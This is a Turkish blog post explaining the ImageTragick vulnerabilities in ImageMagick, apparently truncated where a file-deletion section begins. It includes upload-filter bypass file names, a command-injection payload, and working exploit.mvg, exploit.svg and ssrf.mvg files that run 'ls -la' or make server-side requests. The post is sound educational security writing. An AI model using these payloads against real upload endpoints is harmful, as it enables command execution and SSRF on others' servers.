23 Ağustos 2019 Cuma

ImageTragick Zafiyeti



Web sayfalarındaki diğer tüm girdi noktaları gibi, File Upload fonksiyonunun kendisi de, üzerinde saldırı modellemesi (threat modelling) yapılması gerekli bir alan. Bu sebeple Netsparker saldırgan perspektifinden uygulamanızı incelerken, bulunan bir File Upload fonksiyonunu aşağıdaki şekilde raporluyor:
File Upload Detected
Geliştiricilerin yalnızca kodunu iyi tanıması değil; uygulamalarının üzerinde çalıştığı sistemi de iyi tanıması, File Upload fonksiyonu üzerinden uygulamaya enjekte edilecek zararlı kodların bertaraf edilmesi için çok önemli.
Bu sebeple, girdi denetleme, filtreleme ve temizleme işlemini, dosyanın adında, uzantısında, içeriğinde yapmalısınız.
Siz sadece JPG ya da PNG gibi bilinen resim uzantılarını kabul ediyor olabilirsiniz. IIS 6.0 ve önceki bir versiyonda bu filtreniz, zararlı dosyaya file.asp;.jpg gibi bir isim verilerek kolaylıkla by-pass edilebilecekti.
Bir örnek de Apache'den verelim: Eğer geliştirici ile zararlı kabul ettiği dosya uzantılarını kara listeye aldı ise, rahatlıkla file.php.blah gibi bir dosya ismi ile bu filtreyi atlatmak mümkün olacaktı. Zira Apache blah isimli uzantıyı nasıl yorumlayabileceğini bilmediği için, bir sonraki uzantı olan .php uzantısına geçecek ve zararlı kod yine çalıştırılmış olacaktı.
Bunlar bilinen senaryolar ve evasion teknikleri olarak literatürde uzun zamandır kendine yer bulmuş metotlar.
Bu yazımızda suret-i haktan görünen image dosyalarına yerleştirilen zararlı kodlar ile, yaygın bir resim işleme kütüphanesindeki zafiyetin birleştirilerek nasıl dosya okuma, silme, sunucu üzerinden diğer kaynaklara istek yapma gibi zafiyetlere neden olabileceğini ve bu zafiyetlerin nasıl istismar edildiğini göreceğiz.
ImageMagick, açık kaynak kodlu bir resim işleme kütüphanesi. Bu kütüphane sayesinde resimleri resize etmek, watermark eklemek, kesmek gibi çeşitli işlemler yapabilmek mümkün.
PHP'de kullanılan imagick, Ruby'de kullanılan paperclip, rmagick, nodejs'de kullanılan imagemagick kütüphaneleri, ImageMagick üzerine bina edilmiş kütüphaneler.
Web'de bu kadar yaygın olarak kullanılan ImageMagick kütüphanesinde keşfedilen zafiyet 3 Mayıs 2016 tarihinde, www.imagetragick.com üzerinden yayınlandı.
Gelin ayrıntılarını hep birlikte inceleyelim:
ImageMagick kütüphanesi delegate olarak bilinen özelliği sayesinde, kendisinde tanımlı olan psuedo protokoller ve farklı türdeki istekleri, harici komutlar ile işliyor. Örneğin, curl ile, wget ile. ImageMagick kütüphanesi bu komutları system() çağrısı olarak çalıştırırken, delegates.xml dosyasında, ilgili delegates için tanımlı olan komutları gönderiyor.
Delegates Output
Resimdeki işaretli satırda https çağrılarına atanan delegate ve komutları görüyorsunuz:
"wget" -q -O "%o" "https:%M"
https çağrısına atanan delege'deki %M parametresinin yetersiz filtrelenmesi nedeniyle Command Injection mümkün:
%M parametresinin değeri 'https://example.com";|ls "-la' payload'u ile aşağıdaki sonuç alınabilir:
Command Output
ImageMagick ayrıca, svg, mvg gibi dosyaları da destekliyor. Aşağıda göreceğimiz gibi svg ve mvg dosyalarına yerleştirilmiş çeşitli payloadlar ile sunucu üzerindeki dosyaları okumak, dosyaların yerleri değiştirilebilmek ve silebilmek mümkün:
Aşağıdaki exploit.mvg dosyasını convert edilmek istendiği takdirde ls -la komutları da çalışacak ve çalışma dizinindeki dosyaların listesi görüntülenecektir:
exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
exploit.svg
<svg height="480px" version="1.1" width="640px" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image height="640px" width="480px" x="0" xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la" y="0">
</image></svg>
ImageMagick için uzantının bir önemi yok. ImageMagick dosya tipine, içeriğine bakarak karar veriyor. Dolayısı ile .svg ve .mvg dosyalarına izin vermeyen bir sunuculara aynı payload'u .jpg, .png ya da dilediğiniz bir uzantı ile yükleyebilirsiniz.
SSRF bilineceği üzere, saldırganın sunucu üzerinden, diğer kaynaklara istek yaptırması ve bu istekler üzerinden sunucuya güvenen sistemlerle sunucu arasındaki güven ilişkisini istismar etmesidir.
ImageTragick vasıtası ile aşağıdaki tarzda bir dosya yükleyerek, X bir siteye istek yapabilirsiniz.
ssrf.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
Sunucu tarafında aşağıdaki gibi bir kod çalıştırılıp, dosya convert edilmek istendiğinde, example.com 'a sunucu üzerinden istek yapılacaktır.
convert ssrf.mvg out.png
CVE-2016-3715 - File deletion
ImageMagick'in 'ephemeral' olarak bilinen protokolünü kullanarak dosya silmek de mümkün:
delete_file.mvg:
Devamı

0 comentários:

Yorum Gönder